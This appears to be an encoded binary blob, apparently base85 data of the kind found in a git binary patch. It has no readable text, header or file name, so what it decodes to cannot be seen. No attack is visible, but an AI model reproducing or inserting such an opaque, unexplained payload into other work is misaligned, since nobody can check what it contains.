z&kQZj%gG>pq;l|I32b5yAH55U>ekSeZq6W6f3QoCtV|{?BaM!sZP??YPX*~!_1;ff zqx8&gIjj3ZR$~1)93mEWBGtQF`md7+ShgT+>DD4FL9D7detJZy06iiBCkAGMS|ke< zvf6SM1ypN|ZW@ZQ0Qh-g8Yo?8;O4(z7q%y6${#guypdeZ9umCSXvaf_+Q<<rfOA%j z(q>X8NAN_OpPkv5)t9u*lI{8><6w9gs%o0qF7S20w*m&REYQ#xnESv&ymQdPIZ%c3 z+ui!vi>y4|pQ{!ceAJ(IPNl*Wu@-47<K&4~f)12CI>$pnQlIn_IXJ&rTl_{%hysSs z?j<I-^LT$aSe-WfD4aoNkRnec5e-`zFP7Bd$Ut*j!ailEPDC=PoXt%A4)vdlO&xSb z$B%3TFUb5zbSFE3)%asz<`9>5ZpB#k6{DXDm5|0eC5GY#I+WU%c9axj3M)mKepU6- zuuuQ!F@eaNl*dbI$M*Z;E?v;h)5=tsEyB7J(e&Qwu5;05(hgTxQIz3wD1U?CAjv_f zMp7koL)pw~Ct3F@#VcSU_etyU&O+@F$tqZQV=vMwl)+Om;AynOBcr*cDZ1M@d4x;E zzNW?^s?Cxrk&azW0pGeA`G@r*i9SmvycI7Uy%tw-b5-$*Yk;R(7ACv&LbD=7p3Z5` z5)4ZGVF@mXu4ky?7A83nx+{8axfq;o`ta$$z};J|^FVQs9}K)L_J}A){l89fFn+?` zBpO6sFY_oI9~3Ti7D1jy(0nBE-ts=k;Wzz@MbU_ZACic#-FM;eGeFKq{Ly`i^H5n= znKNuSd~}#~@vvQ!s%~kRtI5xPDvSmGOJE*~9b;-z`_Ea7%Ps0B7cg1!;drrXrYQrt z5l~tJ)kw7<nuM$xA`cK}?TwMkBtc`{xum8IhBUxyJ2wVP5<DR_EK_0I!Rdq-TtL{X zHWj^?S82_Cj_x#Xj5~I5FiTC?Lcg7b<+=S>SIWqwJ}Sdw?`FH=21izivR$=%?rR`+ zV(H<E|F?-5FV=*aTMvq8cbUWYb4BNJxW2+~5j|iIwp_X+V}mr8-Ry7kHh^6``zKvw zy$f)ZJYDU9DiVvQpP*O>&~S+LBBu+DDD_&Lf_xBAw$Y=?c7-xF0=1~$4U1bc2*91~ zV7V|!i(;&9Hjhr)1qDTX6gETtRUi5{eU19}vo2mkX`B`2nsdG#%OFU%68!oWW}@d} z1|&!8p>Pntco80OzGrj8(nR0LV^Mxxlp=X}Q57G1mTcw?vi=e`!oT?X6r^5r#&(== zv_IUZ@xhM4Zw3|8FZ&0gZUbRR4ekB#d(tdxvF7JLS(<FzH|D8Y-QyyjVZrAtp!;>l z@eQ};w!tjXB51_q@p>T`-7t7_%Tds5O`zF^QrGB}*4MmBJCyY5#5ss7aTJ75BDyR! z#r;?+w*^Q^kwQNXV#3=<mAO`go%@BdT)fZk{LLb1uwx@7z-BKGkE}~uV|+6ZS)pm& zrl=cD8JnT?1NX;Ar1wQEAF_3>nSGvW_=2WLAw6+d<^?gk`0K_WVSP5h(|n|CwNL&a zr)6>H*UzVbCnDeTY8m<=0XaLc2|s22#vq+;S3&+hWV|OdzRcGpo#V7QJbLNW#Hb`X zLUIkoEHP1!AwV<ZvmX=j)>2)45};M^w89&1lwQV)(6aMSy+2=R$1&(hwLlY>S@~Ro zzsCaFITtZYRV+UFvmtG0pR=x?u_8oGk)=&1V*ul2ju^~c0;s!sIU6BpfdHF&q3PE9 z&?xRnv%v@+skPJFjB&+WV+6|ct&j#U(qf;Q{Fvt<(Nlkgw>z{I9i`<kmh7k`tku8~ z`M?y2u$fVFXB@;y)g^VEf0s~E@{?d_T)VhPw&)JCw20oX&qG;}cv1fug;Tb7GSDJY z<)Br~yi;psF{D@zUv9_wH;=hEY6|v3s&{cY&kS->x_viC0XkkjKty|0#KMfZwC?ir zEWL0nXaVj^;8r8e!E9Fh;WXq{H`YIvxhIv{1Z>cS8fB*_kBbfL`GoyA3#I~YLg~WA zye9go1i50Bx23v^zac*;;qbZC<I6IFgkG9Nq%J~$3NI*ip?rZjDSB8}?-8wf%})N3 zXNVyz3b(OER(SWbB$R~VsjCFfEt27*-CVaN5MCBp9ndNA!y|m@R96aei{FsZDcMR% zK$#dXd;J1t>h0Hr)qo{DzUPigMhESlL(TXM5t*;G5QU1u*9$)q^@*_o8U7q%{%Kw= zxc}pf#K1-vdV~5&6{<hpZvcp;nuTP)5Vt000R`eXTXj?|nnw%h!9CO`^DKf`S(E0? zYnN&k93S1O4(N#=X6y;F#_;zxa71i+jgG-7ksR1=Ogu_b(EmCfgbG_tihgxfl!j-0 ztYq~saf2@99bAtmvb>BfiZu<8k8TRp%MkZK9w%<t-)~}=k8sQ5A&Oze&Y)OnW>y^G zy@STuM4tz9n?BTOrd*?(t3XNod+?`GTlgXR6fniESTsa;JQZ5h2`?8AcA?q~3zF4X z+PIpN7L!O7aAY{Zscta4iH{ndUqfE}E4AQDY?-<T=CQqBTA(`_i?1>%oTR>audwED zT?ES1Du(J2WM`=H_#8eIL+T~nt!H$(b&K0$9xSh>DV4#(>#$_&w3dGvfPDy!>H(+| zgsHK#6S3Y`fwF>fLoAbGVgK~(aJM=q9o$k_a;dWYmlrhh5xe6p5245eu$)hW>gH`= z88*k>N(jvFtRYc^vx4$7=EeC4%a*sHlu>SN%z4;gkn+|z;yV7ZVRxb=w9k61r77yy ze<sNi#1RJUcHmkW03pJok~ai#q!~Uf!6~_G!aRQ*D_L8rQ``hwC!p-O>mRfC5~4fO z%e)9_`U9TfH$~O_lv2aId6rBj2oFyekOo!&ds&(*FSf<r$Wlh3`72<?o(=FXAH3U1 z5pltRCcF<dITiSeqh!v`S_FGqu!gQlp?XMccoY=B#)mY}(v%(|*6yB|U<NN^z)qUO zI^j*mzW_Rxl|nhz!762=aI>{UiUmklw1hlcJyUP?d=37SM%+a!&xbDX)wI%*4?=9o ziP8>9!#N7Uj!XDY)|0r5;Ncf(?FW#uH?3$}+{H4F0Wv!(z@oq-YE8Ch_Ory3kUl&5 zX;Xy1ST)`E`DHPigv%6fR_{EIuxa*4;BDBO*Y)p00MWJC6hWFq@!`q5-iVf+HR3GE z0sAkqEjPAt-GZ9rg<~Nl09;0x`Y;6bHHC#17%wks`OuuN?CHOyPHiJqyJ+{WnLd63 z`ota1(Lx5&@Z}BfWB2?&I1~%h;1|U6iIhZd=H|2s$7v0B$pZc_?Z0D(39V1Ag|Sf( zw<cim;ya$!JsBV3y06Pjd^48L+i>9)PJxBTDr@{_Uuca7ynUEwiGwZ8c-(4vbLcxM zW#0?pHOrHo>PBsT_1C9B+^7&kk{wVyLe!;|@;CZ}K9$u{-ZlN{Qo#ZSUmO5lKyGb^ zLG9ZeXO=XpzRHo+9^;dFD)dFUKvWQ=Ydxq)$x%G2R&w5^7g!qnPk!NG(egE41#Z{I zXR__8K=Alr-?7D4j8uCz32iAfSiiQ^3z7K~?$xjsuLgsfu#}B#r~nHbO8qB8xul2c z;2*(%hprxNZ+joWg+MQzQ{IH8CLCD^G<N`h#%0=w@D?Fs^5=?Jq|8d)h}$zoy9uR= z@k>enCRzL7h~t|7`AvTg$FG7m%WAqogr}5(_S@>Szk|uC%Yy1U*qPPt<nbE^(926> z*h(s3lk0@`dr{yVozueA#!gh{Pg6CMQmdg)gx{2`%35abSr;_TW=&m$8TJ;nm(+me zhvu4eecB@yTaNPPkBo~~YcB)JLV_8k%<v}wneK!i!FRQL;WS6SW;=yKBi9h`Yo0%G zcVL7SGGc3{20RTIM-`!(KS$Z7L`kZpoZYObPd%5;6L>brdOdo?(PjB(JH3O8a!OQM zb+%uuD?3$<vwD948UKbABl(g|#nTR0<mQkiX*0VG4#-p*;W;Y)17o*F&q8h~%Pmgw zvK}-Kf_77L61ZE?``M;$_cG+9Z~!@-B(!z0E`K4dTLlITLEhkDTZSg(GFY3~y>voa z2%JHib2U}jOs<tjG=>bPlRmB_c38Cz$eNfm2zz#WP>19VN68D$Ck7RYB9fcu=&GM? z69$f<OJCTX8QW(G1*36n;C*D`*Dl7EZuINq^Dh`Zo+hBCbf>tsdNtqlhqRd~6UgO+ z-Ug&@8t?340#YNX*H(&4;J&UreyK<sfvT{cO@3pj#E>-e>7z<F<3cV(Q~TCJwr@X> zRh2HQafS3M1ku25)4?|g1XyZtG#rU+MH0g~iQdJu^3>l>k)t@H!rR%Dc%FCRHhO)l zR<Lqj-fk)kGjcD}a_H*x-V4oc6@W*7@}hCQ+qO$Zu4Fx>-IV(GP`%>D3-K)EjM%_| z0Y`+CKJgbjwX1VofO0A8=dZZ*;~{y<n57sW+}+*7s+`=Af4NhA=0DQTe4&q(-#*P5 z&gi@YpxAh!w|h&~{_Gy0OS&dO4)A@5w9H3-!ccQH7Gla53IByZqO!coz-OMfcl54V z7GiX>@AR8%>*vdC25k<ODmFiV)}xN(5P4<VX8xC)!Yn1s%iFSMUJPaBw3?bi(`L<5 z3ut8k!TnThXXleY)^NlJBiSflI-zjQM3T>j5xr+Q$&kpl){Xq_jAvZduQVaRuBw%m zt=LB80jC)e?4!`eaF2cq#W#5lPpE@YdOYRzTa3uKxP34-V|wRnYqY#Dm^gEi;nQm& zq`C1LKXo3fU9LW`hLccuf#P=rg?yphmVkZ2c%5*1SF4bbgVtOy6|7B-ch4e)+`y%5 z22z1cL`28B(_Yv!NA(L#WGF@MOFfBU8qjbgod~apr7#OW4~ze=P=GTMs2w2Pm5One z7@v3EIL;)Nlf!#mtFyMFbdR3i@f@mh(UQ?0pif3bLo{W8_8DNXzRmfxU=>FxAvl{t z$S+cZ`R@PsypzbfImb4QNp(phdRG%=8X;M7;eK|yMS}lj6n7w|D}aF}!A=6qZFMoX zqk5Y;1vg9GT`W5M{>Q|`nse3o4Fr+VO`1cG?yBSTPRn3lEFZD`z^dIamFBiWPBov1 z)RJw?nf7oAoU|p3{qKYRK1F2+XuU|LbG4XEo}UQ=xgNrA!MqGkID^OveoP5sZ)J0e zyh~%^%PLFXY3&c(2irc-Gsrg#9psRFrD*24Vn>MVQ12!GlF8X=p#`dwmu+Dos0d=3 z#q2A_T~*i=&Km*74YaunZ|Hd(3xPA$%e<wCFvz~BIE&<c@-awb9a91yB?XcsyspNX zOA^rf6BjGVR+R})Z^$ZZwAmV6jcwIROJZ4Y-9}d|SEs<f59b+VEhN6ze1f8(29*0A zK1{rr*Yab37mYnTa<1PB_b(t?3Q(w@d@QAc{z~EPk6*&l;PBwK@sQoA?IIfEaG{#i zv2MBS*`khcEY%9a;8ck8(moTu?dqfy(xSKo4s%};T=T!x47kndY|k!u4&Hjb3P?{E z0|T2cBA3@8C=50;z9Gv9sI03qFo^yi*3Kz7lP~Jm|0I)S;)#ukZQHiZH?}5zGr`2R zZQJ%6+qP|fxjPr9PStmD`f^wI&F-#Ut84w9XGK07q+A-n7J}7aFGpRu$4~}Y>%sXq zpcqhN%d2chrqUDMclk{WP$EPtiT?Mm$~vbd(FjL5+tOWe)I6<4jfz4j_;)-MI|WbO ztaXn<Jh#9Q$opR?%gC_|F_zAMP#7~wsp`qrz~e_3X~Yzq@1|427Qz^XagKryMQTV3 z*|t-_1S5Fou6xe}u(ndzQn1tdKTJA^^6@fZoP+<M`R57XWtSXG>KJqT5e?;}WzeA_ zACQpJe}5U^BWdvl|BLJNi-BODiuYQhd=)8CUeN-ZMlqEgL)(-a6Pbi6I`{XJTg7c{ z`4uB&{Wr+_zw%ujB`tWasTZ;SgZQ&@(rFlQ_P3vKlz7^93tC)~8kSNj#e-!XxSW=T zUDy-y20zxj^powLZm0FgfyUBSqt%D&WYdY;Rq>V%u+&~^4zu$@A_)HKQ)Ngr>d3u3 zBFbnss$K;<QX&}$4|wzr*kKeO#}Faxj1D4*IANV8F76z4=tI=jPrVO6*!}VIy_8R6 z^ERE#k6+a!;f-DeoQ`Z6cp1pPsQ;-bt`+wMin>zBRkG&HzgGe0gxn}nSn>y-mc#n~ zXb)h9>$#9v9E^Qg6Z8<g%pCuIg>1$2G5Co;Kbna-c%C(Jg~a_ADoxlBF^<JjV9@>> zd-$y9BPVL)W@8SKF+bsqPXa;xP%H(j+yMVaP~#_@^42iyog|}uE_LU;b?o3^T8xa< z)OM3e9h+FfwQn3a4%pLZyLyCDKprofS-JfFvJz*A50$B*p1*l?AdCwK#fsh}ep`a5 z2le`Ww|{(5`kS)T?B;w1>#NJ>UT0`8Jvarzc+w8>j(yez1>}llD~7)&-=N?V$!N<% zmlyDNWYJZ@K{Qp<gZge2LcKNed}y!dYUxjeafxOX1**gDms{qH!lPd$>gM-ZNsrq% zY!@~R@#6a=s|+Z3Pd>YgrFS-jMr$4>s?Ti{5B><I-^ndCP>nL~K@&)D#PSfcP(711 z>%HP;E*s+?36)v=2Q;p|=$aKH0pyA4Bl{4#hHZ&ard%U55ku{w!3nu?=~79<pT%DT z4&}-!f@9sAXD%2SpRx_n!2V6#J@%IwmRFj1!|~zZOj%d^AX4o8n3bxTQH%w`@+2PY zR)+O{f$W$op8{?tC^ny(tTB1o{}9uu{HQ=%D~b<eN5bH#&bCzOlt{45m{N%bde{~M zk83s_KN+#nquOje8vjikfscL~!g0Oq;x9(9j`d+jxxQpDYIGXB%2+<s+&Xg^h$t?; zMR}#JT0s;cWXji~K*SN_`YyF5+Py8&%XKRxatHMO;pHhW>{cai54feb!Z$bG5mF#2 zoQ?~DmaVr|u)>pZ&9fO}(wU<PjQ}&v(X?KYQjzUO&4;I`oqOl;>$!8mFWx2w!GjlI z*kEoLE{cv3u!gpHJ*<(N{Fj4ZoDD0YfaYP~V(@#TXKt21;=|s->-2s3Jp%7{@0!~a zv2kO{GEQ)9ZWS9g`snBqvNorhGh(gKW%;m<-eoUgwDjtBSql5V5*GCv=$?V5(vjL) zJ$=#S7X?(RJrS*!x~dK2GOD~VX=<->Om_^IUcVM@p!VpkVdzQA3-;>oSGFHla4HAO zlNY>ZL-3@>Z}<&`+RSpm%Z3!LCQIItJKli5)bVe)f=a0L8~*SCj4i*cx?tb8JXvf0 z%aJSLR;13L{Gm>=X+2^-^{&;#NmVevJaeEZ3$u=`@L2upSVTW}B~be1bJ^=YvgEMq z5|Dhd5t4GqHAWL3Z5hQ;gKtZ1Xnh?UCI6ZNuWydEXMy5QeVeV8(XedQ#Ga8vnfC{O z%0u(Ll;~v`!h8>#?C&bN?#oeD<#rS<^L2s@?PdN}6S2R!w$1EBlSjJQ*Yxx6JL0X& zGWT_af`QDnb(Jmn-3eg&srb!k47H%P)H4MeJsBAK&xZ9S02JhO1Z)CVf4mBXw+yt~ zPp?+<>B!CD8vl0_Y?v;IEr7jgFW(&OBDo*bt75c2AoS>s!gT{Pw5`gkh;h?#9<#+f z3Vcd7sjG;!emSXFFREjvJF0U}BRjGIN0PGUQPM~CJOii@Hc@l_Y{oC5RoedtE(DO@ zQ;;Gn!fZeA{(9EsQC6WczdqE}h-vG|s8jM|z$wpvlWfDWV4L0!Myp!l5EJZUe2zDo zwSvTo$>vF^OB2@Q4z=MfB17Dh2loZWCtKLFlC(6*z<r>k@}HTG4A*9^0TIZU?OJu1 z6<O*KbWJVF`!r-oGwVJ<vcy-LfJ`lh#fvslhTI=~naiGbk-rr$$bz+Gv6RJ{LxKUf zR#euXo8Xk|64u)=ha9~K5bwfk0-QT7w+S5(ZzlZIiQsQTr}%582#3`tKcoB+gs$-4 zOeCkW(c`x2u}UiG!Q<w6{EjfA@ZEoQJ#@auFl41D*@0B_8k*&#_dCJAVzlFa*tCdN zoql>Wsqm^952cAAh~~PEEtu9~@taW<+YehdjNDZE0$#s?wr-@NpX%XC?lR(fjRf}; z_;LJ@TkvE#UAq!cI=TrS3sOZs@Qa3G^8k?yPD_i5etolMMg&!+fBa!ekoQXRViDzG z`v>R>KM?3|gv0OZ(<YySM-R7Q^dBaOF7s9Gl2uM$S5nOKLegwP1PTG}mVE0;3~3mt z@ul8h-<%6e$4pYm@+i6pT8gEf!d2|mL+UFRB|h#PKQH16dAQk)36D97f@v&FM5;r& zEJ+fxA@zpZ#_@S9Qqw?2dppjP@W5YTkx?&s3lFApI=J!dzKj$xk}lSEM{6z7y?_h8 zlUT)9p3TM-tlFrZ!QK6VArBORX{_n-r-o?3M*xj?x%!Al1aMI|s_^fK-^5#}x=AAc zRt3uJVVGI@9UI?Xoe}wd7Fbh+v9;HE_&USxMlRjeWzL`28Cbn+ChWZs|Dyk-KkAO@ zpmoeMh(|L0PHGtjYAG_yv1E#CS%ZTQz0?G;FSsN~zRHX}uYWyO_3H;|oZ+mxj2^3$ z*Z;L=@48@nfdU8O)C*3J=DK=gks6j#$=9GT+v{zm{AZy)WRVqoL><udrzB`Wyo$qZ zJ1HG2nuiG-#e7mKR-yf(A3m1NhbOUH{%=eX9h(Co(=j%xNWDZ4@>B?38yI-?ThT#r zBfY_);2&A@>bsjJhQV;O{@smME5SN7U;65ZN-PDM+41Ik2%?Z^;HtDWN$jNJ5;?^_ zibtccD)8cOZF4%~GEV{xlzb;QIP123%D%}G>i+G)8p`yziGbXb(>{6WB%50^q=n{) zrdRBC<-h43IWRP4%Uxx|WbM15o6V2U-#r|68zC^F105sbF8|5N9#4GT##8c{N|-3> z>isKmK33jNQo{daZ>0GTOvHq{_Gq@}X47fbfbJ1T>G;DtPSkm1HfY?4j=%}KS4t)C z1CK%z{J+QZ23i*7Av1YX&)Mif0B|*vt|CXZIX4Kc;JbX{upXAJ_HwfLgA>|>uz1Cb z^Cx61r;dSzv<wH;xV`<}<S!2<v!yXV`;9v#<JAL9>|w?`E6ymLflWto%bfS$paW(h z^SfKVi7v;#PU)DBf0n+3x(13r(mJxu$fNM@>Mq-6@;C|bggM(P0{KN;bDo&v<T+F< z8RqWvkm0#uO2mJq7Zqa}<pa^t@dJ&{4I6=hTBLvU)+D;?UyRZWPoi96dgr<8|7IZ* z6k*%-VU+e$nxll1^a_#ilu0z4vam5^qUI#p;#=DZLGPT*u-Jit_0{w9CAJ6^u=11d z!i=o-N*xZ`PsLtX?AK3_#)}7@?G2Y0E3!kBpRY#;$0#$4cVjUodBo9+lqGsjc|{!= zDd6P*X`i0Ifui_$HXflAu5cWosjSh@c5Yxo&Lv@TaSC&AIK2{8YNTxCkv5GMbxanI zob+NunXjPNVFaxk`^YoJu{s7YiZP&+wslr~FmLRNrOo#z-!*Ap8%U)4{ERXxHU0O) zH&)ntnwdVUsl24n&)m1H<!W<0O=T*2n)Cx@x}<%U302=aTuMnDmg5a(@=<qU@i@%s zeNH>uObSies@*8W>UvZ|KSp33s}Uml!W?|U=JL@d7y{!->O@7ZDZ37f3re<rB+>NG z`D=VEqlL{%uMyOnaIXF>=9#?d*0HA^ckiZ__2)Es5f7EKnYM?p1q<|<wwd-TfZT`~ zHMp!q)^^|MmQV5(9?Vo}!7PeAkx3+m31Tn#@C)nwC~$5L;K_Y^t&#<kN~GnpA0pe7 z1;^ajgDstEsQfm6?;GL}@|Ovf4T-L>YSqj?o|BjNVfgr{;og_h<QG)h-_lia^I6!~ zhs5doy4*!*^%nnZ8am{^jr3E1(mI!Tm2pnNA$Zv>G>R<LR5XBx!#Fu5GIrxOcVg!c z%`r6U6jy8u&$0*@L2OMVnFPtovdr!wDu%QP_1A=phy_!bYYi!y*wWtuv5^u#AXFMO zuvLiFuBX#>%#k!z!URc1ujI%V+$}^-Xw<P^GFMOfT^T-+5DvfP3sWi3qRQld>4it# z@oQfh6L^2hQ4EPp6ClKwfxLH44o1s#;N=OI1$QWhMcUa!MzWj;gO8JU%`duA@{EXd zsNnromBW$#6fH#O)3^Uqfo3n@W77U_pI0->=UzPJy`-#PTa|UMnta1T(2+`A>Uoav z%{nauL-fNzF&WYs6UZJV#XvVLrzUf;W|S!^03U`A;D#ZaorYDHQjIHxTE!?5`0IDF zTB>Lu`T<tiaJSU{03siRDqDS7QLudJ5daq{R4D-VaG-lR#L1dG2(x1?3#yk{X?m1H z^GLIanSojqUIOxrD?iu}$rDPwbR}QERKE@-UK>HIdlnTrgpg2&Lk-HB)G@||eDw(i zi;*Hau7RxDNz9e~mUi)0Ey@`f3>T9F>k9H^ZYfo=RUN$u@U%I2dcMX1nMK{}rqcOq z5vNY(25pVWU!865pnpU{RpD_7#(pIQQn9~KOP<0n_+HgHisUdyVTA(Bm(L9EYTER0 zR`$5i;<U~zt3f^+ZlOiGC3FPPKR^FYOjF*`HOa$_WELieR`j6Ss=$hnmF{Q!*9dQO zn1sk8-wFSp>lz-O=8BZxOC|Q)cp@E<1{9R~YEj-R5=D(c%!<=K-k`HrKDxfH`HryF zJT*;IjbCq1%FWWWNXQ808_lH2_Ya&s$3+u8b?cW>Hp^t0v``FqA|!1<1}#>~{C7hg zpQNX-IL9VzeCHUA?pE`GM7aH!{EP4fv>~x|LL(pc)j%0sll%!YI28WG27Q8r8pMLN zoberjlTDV!xuk&tF*7oncx4uyTZNGD3rS+Yk4N!oXtxk`@%fj1=R^MbApl&PU}J2r zBl7YBk+HBe71rkF`37?POZMmu41@jrxSHkY!r%~fe8Gcu&(RqfYjWw3qLlx#^)NBk z)SPQ7YUYws+ouub{QXvA;g>%&n@~ouuMQ#CjP&%7+kPV;_tGmie~5yF`U&A_IlX9= zZ4=ipJY}^bg5M%8Ij-k>d&~?O5~joloA(%<-dLSO{&GP<K?UV|=^`nlN&>>9Gp`G< zn2^5Lh8j&=6sW&!UD(dYbd^+J;|Y<q`%%FmAkK`wktm!EWA2Cifws5_8Cpu^ys?aA zl&(<@29}qeWoQTpXPfpsqn$_1lY#@mhP)dh={!^IcTilEkAyilCsCv^ck1Qkugb@n zCj?r;Z)4g2`$|ds@Wt)Q6#l=xah(4f%jW+NZ=8gak;ng0=W?;LvHx#XahV>5@Joa} z=FV{;Bm;6v^FC0>(v)Ro(qVCVrDbJSWnpnv(n@L*(W)v7tP84YB1&qm1%Xz&Gi}i= zd*mZzC|rMlJWuJ?Zf1YX+)%fs2yMsD$2(H5#=W+lIthXj@lRzN-iO<ViICtOm|o4F zQNOHf_91-Tv8o1Hd6QoET2*Au`t}^ifCDnzD!wm+hYaONNCU2%5qn>4bG`yTzkQ8N z-AU>FCBUNg=2CoLDtlOnd3Q=%ekf>>1{`sieDR(01M{GHF*LTtgjt{Y-TsIKsIF%y zLJ&mUz5GQ(_ylVn<iQxeiuR}2b5U2!^O#3oVdo|sUeX9Q-vd0V<n_)`6XCY6_uQ<B zNH0aUBy-IGX7YM9a&*oJ>TI;ss~Xlt8*2#Z@9C}MN~7u{M4R92nrygM8(7zc6Ki$C z9C%B|eOUFlX7(GlC){@F((9nw-w|9C+$CAN3Pe&-Cn)7v-L=VFqAjyb<2|B4i8=<q zcMDYAblFoPL!h>fht@a(mLJQj$C^49-``}%Sge!yW-3I*0wiwS<k@wa3fqqF>rK7E zmadz}axOFaP~|{y@13YHE4mJ1ra2R<C<PmD>ti_<RX3smM@>gp!02W7_RKLKrn3o) zayacIA&`6GwOD{bdH<IX=}J6wyJ|iz8QLB0hmlqTB<sLGJk)3FE+T=VOM2GM2oF*V zCuyzo$(moW7S|izxPL7RWk5yVfTWt<R)r)nkfF&yUN6V3o@LhB$cqJqhD8<Cd00!Q zeS#E7Q3dmN_cc#Q*l=hhHeJTns{EH^r<AD*^D+w6%r?!l$`n*{Xrx9af!!Vpy_s88 zO{GS8qS6fM?rhzTFNYq;@5w?8)1pRVEmXijLR)*jGC~^aO-GycnHorYl)gV?D-VBt zo^=02NRvG7UTFX)0B_CiD1u0TJDJ2Z2?~KS=wE`|9f@R`v@%=Z1caqJ8a}KuDIn=P zEZ5oAmyU;#tH`rHS9d5Bto!Z{IUF6E?qH)Jbky2DWI?EnRRDO$>+*Vi_fNp(MhHl| z^HFhDo*7!n58bHi<9e;O)k6+GTu56lI{MYXrbdG6=-?UJ<9f9<Q4v0=u9_3xh-P}} zY<xAle3(o%nKe1?<?F?s_>n(s3&-}GYBMGVo*xr+6iFFUGflZkj=A>br!-0*UI{)Y zFp-3P*TeBr>Tnsq9=*nn4<WOgZsiORDaYb^gPh&8CC!}fB@Z?}AvS9WW$e}l%b=-j zBR&8a7&@`C`ftp1*fw}><uWC7cJTzGZT9aa^pPK$NrW8Cij{X%)_XY~qAN-82LlCN zNPmK+PvKvGe%=WIH?!9h)WScHMBjaf*eW*}jw&o3`zV9zhGlmoM7F!(e4qrv<?O7F zefa{?y|7o>MyEt=$C8r9rB$>r5in2Z@m5YhcwW(ph`p?o6v~hus)H~#dWW|$+M3fl zcCsXyeZ7)hL5A72zo|MVHq({X><9r<tfNwL*hQUmzVysFY7cH^83NZwVUSmd2vrig zpvwLT{Ff5Iq#Dg#TrUO-2Tx{q=ez#C(7KQ+ST(CEYK^yun60b5Dwfr<mkT|Wow!B0 z6aNQhecJtpnW+J@W`wG*_%8>73;vi^{KSDj>7&mrMla6Q>0NSV&++ri%1)Lt_boHA z=`atqHBTl)*yl1sVKl3AuVA-^7(_fJDSeW+_R6V1J%hIaGHaZ>!i!**iJj#=(zHgD z4cJ%7ti2|;;#V|g(o^b{Ewx$4>93Zb&4aY(wI~x_C~rw5(R&zie3GU1&LIL+3zoS+ z=hO{$$N=9vcS)%5qO0cW0e%CQ)7H>*i3Z{ciYMCqNNDs|t!c^PMffgr9cJ7OLev@B z9Q&52`ANYBXCc|t?igHhlVwy{hXi`t8+|Js#%KNPVNvE~yj6T6zGnRpZB(v*jdYfR zQcnX=jHmGgur71`u%z+o7ml&;Dy-Wr_nWuovBh=SXHx93xIs#}r`%#EshgT^YefJ% zR(BiH0J#D?kM{9P;4Bm_^_Me6Q|7`p_t^}V%G^z;TZI&P`^O#$whgQ66pYi`5;4-@ z?_@BsRe=dTm^~Quv$};zOLCrKw#L-DN<n(b{38=m>~qNVwpSenBo9`vWe;D<7kg%A zZ|*{wwM1XMBpnwjsz0MWLkWT2(Da=|zf<#sqT>N6^Y_sJ-)opxhfO2%pp)~aBN~Gy zmb8AJB$kv+eGWHOXyU`1!TSw=P_f6j2^n?;lk3{m*k?{3!v0AOKdZP;4R1}ECL_}n zm0eyVOe7+VK=f`yqf!8FN?C+%WYKKLo4XX$9jcsmU`Hr_!@~Gt*|@vI&~3EX0O6LE zO>fQ{Gs)P;{@1_8^Y#Q#acVf9o#NF&`Tka1tw>f!iN&I8KLE>H;dpsq<XTasRp$xP ztbEmJF-i;$$V(5aK}+JkXtSug*&<}dwv!L)F1#}r&x<~V-_!F>+7yI+;5y69<7JCO zmu0!ZrMUb!R}UgJF2hD+rvZ-5d;!yzN5cqxP>FF)>Z0sAdXgj$U5mNXBvfmL)rlkI zKIYCm5j2K|n3WOcJ6En(%8^hnlXyb+Y_$l!BsO2I_qUkQX%w&i%j!?qBtp%<d6*Yi z{gu|^Y=z5x5-SWMP4tueFFPmHu~ZdL%jou=9X3y%JVqc(@cpDw^IO2A%>F{OxqR1o zaJ9A2*y!yq+`H}NE#m>b$m+dfWJc{kLa%Bh>gzTX7GZReZwkEQR;Vw8(@FWsu?lub z@jyo?s6@whVSAme3@T8kp3u__28GyOkNXpGaQVoHlCkg{;PELOa_DQ!P&`m{vJEkp z?%Yy#i-e2O<Xq_$#&IcGMNSl9AmfI7cLM^mvL=2QKC3CY@Rs8G%D*>WJGX9iOnIp{ ztW`osk??KDCm}tCgqbbDeZL-c;#B8G>0;e?i3%dKvwutVAjZmYxM^+yJ+#bSiQOK~ z-D(7bF>OMR-wDAbzsLEU%Q0`$)spzAY2Z}xyWaijKm`IyI0v)TPDo5mysPce@YADV zXT5}v28u2iPEFl@&u7chD}-Wq1WPjWLrd<p$C<P|{7Q@0t8^{n8RGVJt>enNG(K$d z>+KB0UU_|Tjyf>uQa9NoqC#&|)Sf$OG2FjyG$#M75VGx?s$?W&^j_A(!-cJG(m-$+ zY~c%#G@uuvdOhg72#YgwWK)|uIl^g)BfcIcSh7UNK~fw_O69)8i<y(`c1<F8VgS`Y zB|3;KfR;M*Ryq4p^7O*zDY%EhjlbIlgOHW=)7I#u6Ln?vFjWT0>BS$yf72Qs(mBak ziqXJ2676OZ7!K4SLEhfIn0rK@7tAAdUQ*7?bZCV9P;_^4-S25jF*t@5f_>d!FO*`G zJ5+=)|19Gd3KeCD$0zwJddw`_PXMe`j$&a%>^<xo{M>9nC8Rgelx%XXO`~$kmlmJJ zG@8iL5BZ_F!60^dNR6sO>2o*U{`nzEcs=;jnnmV`1U<nedZ40^PCRfJzGfETCTq_( z&MNc(qK1j*+#S8y$l}v`aW-IH&MYx2?LU`N%MN!Dfo36SNxDCQk(LJ(gj8HiJ0p03 zM*S6wQWY7)UO^uPK<8h>1`VEt$#)6kfGYepE#ni!wxlGOaX{Pr{RiYjE!Y=|??nwh zg8_w(l&&fM*nfCJi@Tq5qt(D|zOHUS7p-;byPfkyi?MV#V0Cb=v>KC`+ORX^a<xNC zY0h`OVqarx`&pT}g?wyOV>#gKxWFI$EMa?iUtzl)QR8>&_AC)*bgpc~qo1N%1)Y-Z zOo!6W&z0E<(*8UnFyso>J||-uNOs7uzktkVK!@lbgbvSOHA(VfR>`7Smm#h!o0F|G zieF&cYi*SL?@Q3qML5nk;aKd7F%l&E5S#rpG1RI2$ir`AczPsqk$|@LE<-CiLu2XB zh7JkzL)4@?A1m+!?IgU1`VX4yIWqnN6rV|LoiLju^(vDhCmzy;!Jg9ey0HjAR+x#| z$eMqMab@742f3=A`eXDnA#5Fi_JK>!Dk^4OQH|Z<8h)X?*MD1pM*B<tC&5}d(0*G7 zK)b>WHu;Klbv24|(EW(6QT~=2>AD*IXZ;aT1&(9sfjW>S?(0XPF_ro5QUR^F0WIEE zJ^Myj83~GA@}+$c>Nt}z@p1F=Z4<h<wWh@*iLRv-JaHP)@F?11us!jo$SwuGgYNlr znQM&aez5u^&Z_@3*amn$VnTxYMg*$tD^{OAy7V!)4r?JGnJ0Wt1`V<uuiw_4`b8yu 